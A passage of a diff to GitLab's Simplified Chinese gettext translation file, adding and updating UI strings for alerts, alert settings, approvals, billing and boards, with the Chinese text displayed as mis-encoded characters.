msgstr "严é‡"
@@ -2011,7 +2080,7 @@ msgid "AlertManagement|Info"
msgstr "ä¿¡æ¯"
msgid "AlertManagement|Issue"
-msgstr ""
+msgstr "议题"
msgid "AlertManagement|Low"
msgstr "低"
@@ -2020,10 +2089,10 @@ msgid "AlertManagement|Medium"
msgstr "中"
msgid "AlertManagement|Metrics"
-msgstr ""
+msgstr "指标"
msgid "AlertManagement|Metrics weren't available in the alerts payload."
-msgstr ""
+msgstr "在警报有效数æ®ä¸­æŒ‡æ ‡ä¸å¯ç”¨ã€‚"
msgid "AlertManagement|More information"
msgstr "更多信æ¯"
@@ -2044,13 +2113,10 @@ msgid "AlertManagement|Open"
msgstr "打开"
msgid "AlertManagement|Opsgenie is enabled"
-msgstr ""
-
-msgid "AlertManagement|Overview"
-msgstr "概览"
+msgstr "Opsgenieå·²å¯ç”¨"
msgid "AlertManagement|Please try again."
-msgstr ""
+msgstr "请é‡è¯•ã€‚"
msgid "AlertManagement|Reported %{when}"
msgstr "报告于%{when}"
@@ -2061,6 +2127,9 @@ msgstr "%{when}由%{tool}报告"
msgid "AlertManagement|Resolved"
msgstr "已解决"
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr "æœåŠ¡"
@@ -2083,7 +2152,7 @@ msgid "AlertManagement|There was an error displaying the alerts. Confirm your en
msgstr "显示警报时å‘生错误。请确认您的终端é…置详细信æ¯ä»¥ç¡®ä¿è­¦æŠ¥å¯ä»¥æ­£å¸¸æ˜¾ç¤ºã€‚"
msgid "AlertManagement|There was an error while updating the To-Do of the alert."
-msgstr ""
+msgstr "更新警报待办事项时出错。请å†è¯•ä¸€æ¬¡ã€‚"
msgid "AlertManagement|There was an error while updating the assignee(s) list. Please try again."
msgstr "更新指派åå•æ—¶å‡ºçŽ°äº†é”™è¯¯ï¼Œè¯·é‡è¯•ã€‚"
@@ -2092,7 +2161,7 @@ msgid "AlertManagement|There was an error while updating the assignee(s) of the
msgstr "更新警报指派人时出现了错误,请é‡è¯•ã€‚"
msgid "AlertManagement|There was an error while updating the status of the alert."
-msgstr ""
+msgstr "更新警报状æ€æ—¶å‡ºé”™ã€‚"
msgid "AlertManagement|This assignee cannot be assigned to this alert."
msgstr "此警报无法被分é…给该用户。"
@@ -2103,20 +2172,17 @@ msgstr "工具"
msgid "AlertManagement|Triggered"
msgstr "触å‘"
-msgid "AlertManagement|Unassigned"
-msgstr "未分é…"
-
msgid "AlertManagement|Unknown"
msgstr "未知"
msgid "AlertManagement|View alerts in Opsgenie"
-msgstr ""
+msgstr "在Opsgenie中查看警报"
-msgid "AlertManagement|View issue"
-msgstr "查看议题"
+msgid "AlertManagement|View incident"
+msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
-msgstr ""
+msgstr "您已å¯ç”¨Opsgenie集æˆã€‚您的警报将å¯ç›´æŽ¥åœ¨Opsgenie中查看。"
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr "查看外部æœåŠ¡çš„文档以了解将此信æ¯æ供给外部æœåŠ¡çš„ä½ç½®ï¼Œä»¥åŠ%{linkStart}GitLab文档%{linkEnd}æ¥äº†è§£æœ‰å…³é…置端点的更多信æ¯ã€‚"
@@ -2125,85 +2191,85 @@ msgid "AlertService|You must provide this URL and authorization key to authorize
msgstr "您必须æ供此URL和授æƒå¯†é’¥æ‰èƒ½æŽˆæƒå¤–部æœåŠ¡å°†è­¦æŠ¥å‘é€åˆ°GitLab。您å¯ä»¥æ供此URL和多个æœåŠ¡çš„密钥。é…置外部æœåŠ¡åŽï¼Œæ¥è‡ªæ‚¨æœåŠ¡çš„警报将显示在GitLab%{linkStart}警报%{linkEnd}页é¢ä¸Šã€‚"
msgid "AlertSettings|API URL"
-msgstr ""
+msgstr "API网å€"
msgid "AlertSettings|Active"
-msgstr ""
+msgstr "å¯ç”¨"
msgid "AlertSettings|Add URL and auth key to your Prometheus config file"
-msgstr ""
+msgstr "å°†URLå’Œauth密钥添加到Prometheusé…置文件中"
msgid "AlertSettings|Alert test payload"
-msgstr ""
+msgstr "警报测试数æ®"
msgid "AlertSettings|Alerts endpoint successfully activated."
-msgstr ""
+msgstr "警报端点已æˆåŠŸæ¿€æ´»ã€‚"
msgid "AlertSettings|Authorization key"
-msgstr ""
+msgstr "授æƒå¯†é’¥"
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
-msgstr ""
+msgstr "å¤åˆ¶"
msgid "AlertSettings|Enter test alert JSON...."
-msgstr ""
+msgstr "输入测试警告JSON ..."
msgid "AlertSettings|External Prometheus"
-msgstr ""
+msgstr "外部Prometheus"
msgid "AlertSettings|Generic"
-msgstr ""
+msgstr "常规"
msgid "AlertSettings|Integrations"
-msgstr ""
+msgstr "集æˆ"
msgid "AlertSettings|Learn more about our %{linkStart}upcoming integrations%{linkEnd}"
-msgstr ""
+msgstr "了解更多关于%{linkStart}å³å°†åˆ°æ¥çš„集æˆ%{linkEnd}"
msgid "AlertSettings|Opsgenie"
-msgstr ""
+msgstr "Opsgenie"
msgid "AlertSettings|Reset key"
-msgstr ""
+msgstr "é‡ç½®å¯†é’¥"
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
-msgstr ""
+msgstr "é‡ç½®æ­¤é¡¹ç›®çš„授æƒå¯†é’¥å°†éœ€è¦æ›´æ–°æ¯ä¸ªè­¦æŠ¥æºä¸­å¯ç”¨çš„授æƒå¯†é’¥ã€‚"
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
-msgstr ""
+msgstr "查看外部æœåŠ¡çš„文档以了解将此信æ¯æ供给外部æœåŠ¡çš„ä½ç½®ï¼Œä»¥åŠ%{linkStart}GitLab文档%{linkEnd}æ¥äº†è§£æœ‰å…³é…置端点的更多信æ¯ã€‚"
msgid "AlertSettings|Test alert payload"
-msgstr ""
+msgstr "测试警报数æ®"
msgid "AlertSettings|Test alert sent successfully. If you have made other changes, please save them now."
-msgstr ""
+msgstr "å·²æˆåŠŸå‘é€æµ‹è¯•è­¦æŠ¥ã€‚如果您已ç»åšäº†å…¶ä»–更改,请立å³ä¿å­˜ã€‚"
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
-msgstr ""
+msgstr "测试失败。您ä»ç„¶æƒ³è¦ä¿å­˜æ›´æ”¹å—?"
msgid "AlertSettings|There was an error updating the alert settings"
-msgstr ""
+msgstr "更新警报设置时出错"
msgid "AlertSettings|There was an error while trying to reset the key. Please refresh the page to try again."
-msgstr ""
+msgstr "å°è¯•é‡ç½®å¯†é’¥æ—¶å‡ºé”™ã€‚请刷新页é¢å†è¯•ä¸€æ¬¡ã€‚"
msgid "AlertSettings|URL cannot be blank and must start with http or https"
-msgstr ""
+msgstr "URLä¸èƒ½ä¸ºç©ºï¼Œå¿…须以http或https开头。"
msgid "AlertSettings|Webhook URL"
-msgstr ""
+msgstr "Webhook网å€"
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
-msgstr ""
+msgstr "您现在å¯ä»¥åœ¨è¿ç»´è®¾ç½®é¡µé¢ä¸Šçš„警报部分中为手动é…置的Prometheus实例设置警报端点。此页é¢ä¸Šçš„警报端点字段已被弃用。"
msgid "AlertSettings|You must provide this URL and authorization key to authorize an external service to send alerts to GitLab. You can provide this URL and key to multiple services. After configuring an external service, alerts from your service will display on the GitLab %{linkStart}Alerts%{linkEnd} page."
-msgstr ""
+msgstr "您必须æ供此URL和授æƒå¯†é’¥æ‰èƒ½æŽˆæƒå¤–部æœåŠ¡å°†è­¦æŠ¥å‘é€åˆ°GitLab。您å¯ä»¥æ供此URL和多个æœåŠ¡çš„密钥。é…置外部æœåŠ¡åŽï¼Œæ¥è‡ªæ‚¨æœåŠ¡çš„警报将显示在GitLab%{linkStart}警报%{linkEnd}页é¢ä¸Šã€‚"
msgid "AlertSettings|Your changes were successfully updated."
-msgstr ""
+msgstr "您的更改已æˆåŠŸæ›´æ–°ã€‚"
msgid "Alerts"
msgstr "警报"
@@ -2241,6 +2307,9 @@ msgstr "所有电å­é‚®ä»¶åœ°å€éƒ½å¯ç”¨äºŽæ ‡è¯†æ‚¨çš„æ交。"
msgid "All environments"
msgstr "所有环境"
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr "从模æ¿æˆ–导入时为空白项目将å¯ç”¨æ‰€æœ‰åŠŸèƒ½ï¼Œä½†å¯ä»¥åœ¨é¡¹ç›®è®¾ç½®ä¸­å°†å…¶ç¦ç”¨ã€‚"
@@ -2281,7 +2350,7 @@ msgid "Allow \"%{group_name}\" to sign you in"
msgstr "å…许“%{group_name}â€ä»¥æ‚¨çš„身份登录"
msgid "Allow access to the following IP addresses"
-msgstr ""
+msgstr "å…许访问以下IP地å€"
msgid "Allow commits from members who can merge to the target branch."
msgstr "å…许具有åˆå¹¶åˆ°ç›®æ ‡åˆ†æ”¯æƒé™çš„æˆå‘˜æ交"
@@ -2335,7 +2404,7 @@ msgid "Allow users to request access (if visibility is public or internal)"
msgstr "å…许用户请求访问(如果å¯è§æ€§æ˜¯å…¬å¼€æˆ–内部的)"
msgid "Allowed"
-msgstr ""
+msgstr "å·²å…许"
msgid "Allowed Geo IP"
msgstr "å…许的Geo IP"
@@ -2359,13 +2428,13 @@ msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr "也称为“ä¾èµ–æ–¹æœåŠ¡URLâ€æˆ–“回å¤URLâ€"
msgid "Also unassign this user from related issues and merge requests"
-msgstr ""
+msgstr "åŒæ—¶ä»Žç›¸å…³çš„议题和åˆå¹¶è¯·æ±‚中å–消指派此用户"
msgid "Alternate support URL for help page and help dropdown"
msgstr "帮助页é¢å’Œå¸®åŠ©ä¸‹æ‹‰åˆ—表的备用支æŒç½‘å€"
msgid "Alternatively, you can convert your account to a managed account by the %{group_name} group."
-msgstr "此外,你å¯ä»¥å°†ä½ çš„è´¦å·è½¬åŒ–为%{group_name}分组的托管账å·"
+msgstr "此外,你å¯ä»¥å°†ä½ çš„è´¦å·è½¬åŒ–为%{group_name}群组的托管账å·"
msgid "Amazon EKS"
msgstr "Amazon EKS"
@@ -2386,6 +2455,9 @@ msgid "Amount of time (in hours) that users are allowed to skip forced configura
msgstr "å…许用户跳过强制é…ç½®åŒé‡è®¤è¯çš„时间(以å°æ—¶ä¸ºå•ä½ï¼‰"
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
+msgstr "具有相åŒæŒ‡çº¹çš„%{link_start}警报%{link_end}已打开。è¦æ›´æ”¹æ­¤è­¦æŠ¥çš„状æ€ï¼Œè¯·å…ˆè§£å†³é“¾æŽ¥ä¸­çš„警报。"
+
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
msgstr ""
msgid "An alert has been triggered in %{project_path}."
@@ -2454,6 +2526,9 @@ msgstr "检查群组路径时出错,请刷新页é¢å¹¶é‡è¯•ã€‚"
msgid "An error occurred while committing your changes."
msgstr "æ交更改时å‘生错误。"
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr "解ç æ–‡ä»¶æ—¶å‘生了错误。"
@@ -2482,10 +2557,10 @@ msgid "An error occurred while enabling Service Desk."
msgstr "å¯ç”¨æœåŠ¡å°æ—¶å‘生错误。"
msgid "An error occurred while fetching branches. Retry the search."
-msgstr ""
+msgstr "获å–分支时å‘生错误,请é‡è¯•æœç´¢ã€‚"
msgid "An error occurred while fetching commits. Retry the search."
-msgstr ""
+msgstr "获å–æ交时å‘生错误,请é‡è¯•æœç´¢ã€‚"
msgid "An error occurred while fetching coverage reports."
msgstr "获å–覆盖度报告时出错。"
@@ -2518,7 +2593,7 @@ msgid "An error occurred while fetching sidebar data"
msgstr "获å–侧边æ æ•°æ®æ—¶å‘生错误"
msgid "An error occurred while fetching tags. Retry the search."
-msgstr ""
+msgstr "获å–标签时å‘生错误,请é‡è¯•æœç´¢ã€‚"
msgid "An error occurred while fetching terraform reports."
msgstr "获å–terraform报告时å‘生错误。"
@@ -2526,9 +2601,18 @@ msgstr "获å–terraform报告时å‘生错误。"
msgid "An error occurred while fetching the Service Desk address."
msgstr "获å–æœåŠ¡å°åœ°å€æ—¶å‘生错误。"
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "读å–看æ¿åˆ—表时出错。请å†è¯•ä¸€æ¬¡ã€‚"
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr "获å–该构建时å‘生了一个错误。"
@@ -2662,7 +2746,7 @@ msgid "An error occurred while reordering issues."
msgstr "é‡æ–°æŽ’åºè®®é¢˜æ—¶å‘生错误。"
msgid "An error occurred while requesting data from the Jira service"
-msgstr ""
+msgstr "从JiraæœåŠ¡è¯·æ±‚æ•°æ®æ—¶å‡ºé”™"
msgid "An error occurred while retrieving calendar activity"
msgstr "获å–日历动æ€æ—¶å‘生错误"
@@ -2670,15 +2754,18 @@ msgstr "获å–日历动æ€æ—¶å‘生错误"
msgid "An error occurred while retrieving diff"
msgstr "获å–差异时å‘生错误"
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
msgid "An error occurred while saving LDAP override status. Please try again."
msgstr "ä¿å­˜LDAP覆盖状æ€æ—¶å‘生错误。请å†è¯•ä¸€æ¬¡ã€‚"
msgid "An error occurred while saving assignees"
msgstr "ä¿å­˜è¢«æŒ‡æ´¾äººæ—¶å‡ºçŽ°é”™è¯¯ã€‚"
-msgid "An error occurred while saving the approval settings"
-msgstr "ä¿å­˜æ ¸å‡†è®¾ç½®æ—¶å‘生错误"
-
msgid "An error occurred while saving the template. Please check if the template exists."
msgstr "ä¿å­˜æ¨¡æ¿æ—¶å‡ºé”™ã€‚请检查模æ¿æ˜¯å¦å­˜åœ¨ã€‚"
@@ -2703,12 +2790,18 @@ msgstr "更新核准人时å‘生错误"
msgid "An error occurred while updating the comment"
msgstr "更新评论时å‘生错误"
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "验è¯ç¾¤ç»„路径时å‘生错误"
msgid "An error occurred while validating username"
msgstr "验è¯ç”¨æˆ·åæ—¶å‘生错误"
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr "å‘生了错误,请å†è¯•ä¸€æ¬¡ã€‚"
@@ -2719,7 +2812,7 @@ msgid "An example project for managing Kubernetes clusters integrated with GitLa
msgstr "一个与GitLab集æˆçš„Kubernetes集群管ç†çš„示例项目。"
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
-msgstr ""
+msgstr "显示如何在GitLab动æ€å­æµæ°´çº¿ä¸­ä½¿ç”¨Jsonnet的示例"
msgid "An instance-level serverless domain already exists."
msgstr "一个实例级无æœåŠ¡å™¨åŸŸå·²ç»å­˜åœ¨ã€‚"
@@ -2787,6 +2880,9 @@ msgstr "任何"
msgid "Any Author"
msgstr "任何作者"
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr "任何分支"
@@ -2797,7 +2893,7 @@ msgid "Any encrypted tokens"
msgstr "任何加密的令牌"
msgid "Any files larger than this limit will not be indexed, and thus will not be searchable."
-msgstr ""
+msgstr "任何大于此é™åˆ¶çš„文件将ä¸ä¼šè¢«ç´¢å¼•ï¼Œå› æ­¤å°†æ— æ³•è¢«æœç´¢åˆ°ã€‚"
msgid "Any label"
msgstr "任何标记"
@@ -2908,7 +3004,7 @@ msgid "Applying suggestions..."
msgstr "正在应用建议..."
msgid "Approval Status"
-msgstr ""
+msgstr "审核状æ€"
msgid "Approval rules"
msgstr "批准规则"
@@ -2954,16 +3050,16 @@ msgid "ApprovalRule|e.g. QA, Security, etc."
msgstr "例如质é‡ä¿è¯ã€å®‰å…¨ç­‰ç­‰ã€‚"
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
-msgstr ""
+msgstr "éµå®ˆèŒè´£åˆ†ç¦»"
msgid "ApprovalStatusTooltip|At least one rule does not adhere to separation of duties"
-msgstr ""
+msgstr "至少有一æ¡è§„则ä¸éµå®ˆèŒè´£åˆ†ç¦»ã€‚"
msgid "ApprovalStatusTooltip|Fails to adhere to separation of duties"
-msgstr ""
+msgstr "未éµå®ˆèŒè´£åˆ†ç¦»"
msgid "Approvals|Section: %section"
-msgstr ""
+msgstr "分段: %section"
msgid "Approve"
msgstr "批准"
@@ -2998,6 +3094,9 @@ msgstr "4月"
msgid "April"
msgstr "4月"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr "存档"
@@ -3010,6 +3109,9 @@ msgstr "归档项目"
msgid "Archived"
msgstr "已存档"
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr "已归档项目ï¼ä»“库和其他项目资æºå‡ä¸ºåªè¯»"
@@ -3023,10 +3125,7 @@ msgid "Archiving the project will make it entirely read only. It is hidden from
msgstr "归档项目将使其完全åªè¯»ã€‚仪表æ¿ä¸­å’Œæœç´¢ç»“果中都ä¸ä¼šå‡ºçŽ°è¯¥é¡¹ç›®ã€‚%{strong_start}代ç å°†æ— æ³•æ交到仓库,也无法创建任何议题ã€è¯„论其他对象。%{strong_end}"
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
-msgstr ""
-
-msgid "Are you setting up GitLab for a company?"
-msgstr "您正在为公å¸é…ç½®GitLabå—?"
+msgstr "您确定è¦åˆ é™¤æ­¤é¡¹ç›®å—?"
msgid "Are you sure that you want to archive this project?"
msgstr "确定è¦å½’档此项目å—?"
@@ -3136,8 +3235,8 @@ msgstr "您确定è¦æ’¤é”€ä¹ˆï¼Ÿæ‰€æœ‰ä½¿ç”¨è¯¥GPG密钥签åçš„æ交都会被
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr "您确认è¦åˆ é™¤GPG密钥么?删除此GPG密钥ä¸ä¼šå½±å“å·²ç»ç­¾åçš„æ交。"
-msgid "Are you sure? The device will be signed out of GitLab."
-msgstr "确定继续å—?该设备将从GitLab登出。"
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
+msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
msgstr "你确定å—?这将使您的已注册应用和U2F设备失效。"
@@ -3148,9 +3247,6 @@ msgstr "排列图表"
msgid "Artifact"
msgstr "产物"
-msgid "Artifact ID"
-msgstr "作业产物ID"
-
msgid "Artifact could not be deleted."
msgstr "无法删除产物。"
@@ -3163,6 +3259,9 @@ msgstr "产物"
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr "由于仅有部分æµè§ˆå™¨æ”¯æŒU2F设备,我们è¦æ±‚您在使用U2F设备之å‰è®¾ç½®ä¸€ä¸ªåŒé‡è®¤è¯åº”用。这样å³ä½¿æ‚¨ä½¿ç”¨ä¸æ”¯æŒU2Fçš„æµè§ˆå™¨æ‚¨ä¹Ÿå¯ä»¥ç™»å½•ã€‚"
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user} 推é€åˆ° %{project_name} 的分支%{branch} ( %{commit_url} ): "
@@ -3197,7 +3296,7 @@ msgid "Assign Iteration"
msgstr "分é…迭代"
msgid "Assign To"
-msgstr ""
+msgstr "分é…ç»™"
msgid "Assign custom color like #FF0000"
msgstr "分é…自定义颜色,如FF0000"
@@ -3236,7 +3335,7 @@ msgid "Assigned Merge Requests"
msgstr "已分é…åˆå¹¶è¯·æ±‚"
msgid "Assigned to %{assigneeName}"
-msgstr ""
+msgstr "分é…ç»™%{assigneeName}"
msgid "Assigned to %{assignee_name}"
msgstr "分é…ç»™%{assignee_name}"
@@ -3276,10 +3375,10 @@ msgid "At least one of group_id or project_id must be specified"
msgstr "必须指定至少一个group_id或 project_id"
msgid "At least one of your Personal Access Tokens is expired, but expiration enforcement is disabled. %{generate_new}"
-msgstr ""
+msgstr "您的个人访问令牌中至少有一个已过期,但过期强制已ç¦ç”¨ã€‚%{generate_new}"
msgid "At least one of your Personal Access Tokens will expire soon, but expiration enforcement is disabled. %{generate_new}"
-msgstr ""
+msgstr "您的个人访问令牌中至少有一个å³å°†è¿‡æœŸï¼Œä½†è¿‡æœŸå¼ºåˆ¶å·²ç¦ç”¨ã€‚%{generate_new}"
msgid "At risk"
msgstr "存在风险"
@@ -3298,10 +3397,10 @@ msgid "Attaching the file failed."
msgstr "添加附件失败。"
msgid "Attachment"
-msgstr ""
+msgstr "附件"
msgid "Attachments"
-msgstr ""
+msgstr "附件"
msgid "Audit Events"
msgstr "审计事件"
@@ -3394,10 +3493,10 @@ msgid "Author"
msgstr "作者"
msgid "Author: %{author_name}"
-msgstr ""
+msgstr "作者: %{author_name}"
msgid "Authored %{timeago}"
-msgstr ""
+msgstr "编写于%{timeago}"
msgid "Authored %{timeago} by %{author}"
msgstr "%{author}编写于%{timeago}"
@@ -3409,7 +3508,7 @@ msgid "Authorization key"
msgstr "授æƒå¯†é’¥"
msgid "Authorization required"
-msgstr ""
+msgstr "需è¦æŽˆæƒ"
msgid "Authorization was granted by entering your username and password in the application."
msgstr "在应用中输入您的用户å和密ç å³å®ŒæˆæŽˆæƒã€‚"
@@ -3420,7 +3519,7 @@ msgstr "授æƒ"
msgid "Authorize %{link_to_client} to use your account?"
msgstr "æŽˆæƒ %{link_to_client} 使用您的å¸æˆ·ï¼Ÿ"
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3463,7 +3562,7 @@ msgid "AutoDevOps|Auto DevOps can automatically build, test, and deploy applicat
msgstr "Auto DevOpså¯åŸºäºŽé¢„定义的æŒç»­é›†æˆå’Œäº¤ä»˜é…置自动构建,测试和部署应用程åºã€‚%{auto_devops_start}了解有关Auto DevOps%{auto_devops_end}更多信æ¯ï¼Œæˆ–使用我们的%{quickstart_start}快速入门指å—%{quickstart_end}ç«‹å³å¼€å§‹ã€‚"
msgid "AutoDevOps|Auto DevOps documentation"
-msgstr "DevOps 自动化文档"
+msgstr "Auto DevOps文档"
msgid "AutoDevOps|Dismiss Auto DevOps box"
msgstr "关闭Auto DevOps对è¯æ¡†"
@@ -3498,6 +3597,9 @@ msgstr "使用%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end}自
msgid "Automatic certificate management using Let's Encrypt"
msgstr "使用Let's Encrypt自动管ç†è¯ä¹¦"
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr "针对具有å¯ç”¨ä¿®å¤çš„æ¼æ´žè‡ªåŠ¨åˆ›å»ºåˆå¹¶è¯·æ±‚。"
@@ -3514,7 +3616,7 @@ msgid "Available"
msgstr "å¯ç”¨çš„"
msgid "Available Runners: %{runners}"
-msgstr ""
+msgstr "å¯ç”¨çš„Runner: %{runners}"
msgid "Available for dependency and container scanning"
msgstr "å¯ç”¨äºŽä¾èµ–项和容器扫æ"
@@ -3624,8 +3726,8 @@ msgstr "当å‰ç¾¤ç»„无徽章"
msgid "Badges|This project has no badges"
msgstr "当å‰é¡¹ç›®æ— å¾½ç« "
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
-msgstr "您å³å°†åˆ é™¤æ­¤å¾½ç« ã€‚å¾½ç« è¢«åˆ é™¤åŽ <strong>ä¸èƒ½</strong> æ¢å¤ã€‚"
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
+msgstr ""
msgid "Badges|Your badges"
msgstr "您的徽章"
@@ -3721,7 +3823,7 @@ msgid "BillingPlans|To manage the plan for this group, visit the billing section
msgstr "访问%{parent_billing_page_link}的计费部分以管ç†è¯¥é¡¹ç›®çš„订阅计划。"
msgid "BillingPlans|Your GitLab.com %{plan} trial will %{strong_open}expire after %{expiration_date}%{strong_close}. You can retain access to the %{plan} features by upgrading below."
-msgstr ""
+msgstr "您的GitLab.com%{plan}试用将在%{strong_open}%{expiration_date}过期%{strong_close}。您å¯ä»¥é€šè¿‡ä»¥ä¸‹æ–¹å¼å‡çº§ä»¥ä¿ç•™å¯¹%{plan}功能的访问æƒé™ã€‚"
msgid "BillingPlans|Your GitLab.com trial expired on %{expiration_date}. You can restore access to the features at any time by upgrading below."
msgstr "您的GitLab.com试用已于%{expiration_date}到期。您å¯ä»¥é€šè¿‡ä»¥ä¸‹å‡çº§éšæ—¶æ¢å¤å¯¹åŠŸèƒ½çš„访问。"
@@ -3738,6 +3840,9 @@ msgstr "æ¯æœˆ"
msgid "BillingPlans|per user"
msgstr "æ¯ç”¨æˆ·"
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr "å‡çº§"
@@ -3760,7 +3865,7 @@ msgid "Blocked issue"
msgstr "å—阻的议题"
msgid "Blocking issues"
-msgstr ""
+msgstr "阻塞议题"
msgid "Blocks"
msgstr "阻止"
@@ -3807,14 +3912,17 @@ msgstr "展开"
msgid "Boards|View scope"
msgstr "查看范围"
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr "分支"
msgid "Branch %{branchName} was not found in this project's repository."
msgstr "未在此项目的仓库中找到 %{branchName} 分支。"
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr "已创建分支 <strong>%{branch_name}</strong> 。如需设置自动部署, 请选择åˆé€‚çš„ GitLab CI Yaml 模æ¿å¹¶æ交更改。%{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
msgid "Branch has changed"
msgstr "分支已有新å˜æ›´"
@@ -4008,6 +4116,9 @@ msgstr "未解决议题"
msgid "Burnup chart"
msgstr "燃耗图"
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr "商业"
@@ -4027,7 +4138,7 @@ msgid "By URL"
msgstr "通过URL"
msgid "By clicking Register, I agree that I have read and accepted the GitLab %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
+msgstr "通过å•å‡»æ³¨å†Œï¼Œæˆ‘åŒæ„我已阅读并接å—GitLab%{linkStart}的使用æ¡æ¬¾å’Œéšç§æ”¿ç­–%{linkEnd}"
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr "默认情况下,GitLab 以 HTML 和纯文本格å¼å‘é€ç”µå­é‚®ä»¶ï¼Œå› æ­¤é‚®ä»¶å®¢æˆ·ç«¯å¯ä»¥é€‰æ‹©ä½¿ç”¨å“ªç§æ ¼å¼ã€‚如果您åªæƒ³ä»¥çº¯æ–‡æœ¬æ ¼å¼å‘é€ç”µå­é‚®ä»¶ï¼Œè¯·ç¦ç”¨æ­¤é€‰é¡¹ã€‚"
@@ -4135,16 +4246,16 @@ msgid "Can override approvers and approvals required per merge request"
msgstr "å¯ä»¥è¦†ç›–æ¯ä¸ªåˆå¹¶è¯·æ±‚所需的核准人和核准信æ¯"
msgid "Can't apply as the source branch was deleted."
-msgstr ""
+msgstr "由于æºåˆ†æ”¯å·²åˆ é™¤ï¼Œå› æ­¤æ— æ³•åº”用。"
msgid "Can't apply as these lines were changed in a more recent version."
-msgstr ""
+msgstr "由于这些行在较新版本中被更改,无法应用。"
msgid "Can't apply as this line was changed in a more recent version."
-msgstr ""
+msgstr "此行已在较新版本中被更改,无法应用。"
msgid "Can't apply this suggestion."
-msgstr ""
+msgstr "无法应用此建议。"
msgid "Can't create snippet: %{err}"
msgstr "无法创建代ç ç‰‡æ–­: %{err}"
@@ -4153,7 +4264,7 @@ msgid "Can't edit as source branch was deleted"
msgstr "由于æºåˆ†æ”¯å·²åˆ é™¤ï¼Œå› æ­¤æ— æ³•ç¼–辑"
msgid "Can't fetch content for the blob: %{err}"
-msgstr ""
+msgstr "无法获å–Blob的内容: %{err}"
msgid "Can't find HEAD commit for this branch"
msgstr "无法找到此分支的 HEAD æ交"
@@ -4182,6 +4293,9 @@ msgstr "金ä¸é›€éƒ¨ç½²æ˜¯ä¸€é¡¹æµè¡Œçš„CI策略,其中一å°éƒ¨åˆ†èŠ‚点更æ
msgid "Cancel"
msgstr "å–消"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr "å–消è¿è¡Œ"
@@ -4189,7 +4303,7 @@ msgid "Cancel this job"
msgstr "å–消此作业"
msgid "Cancel, keep project"
-msgstr ""
+msgstr "å–消,ä¿ç•™é¡¹ç›®"
msgid "Canceled deployment to"
msgstr "å–消部署到"
@@ -4210,16 +4324,16 @@ msgid "Cannot have multiple Jira imports running at the same time"
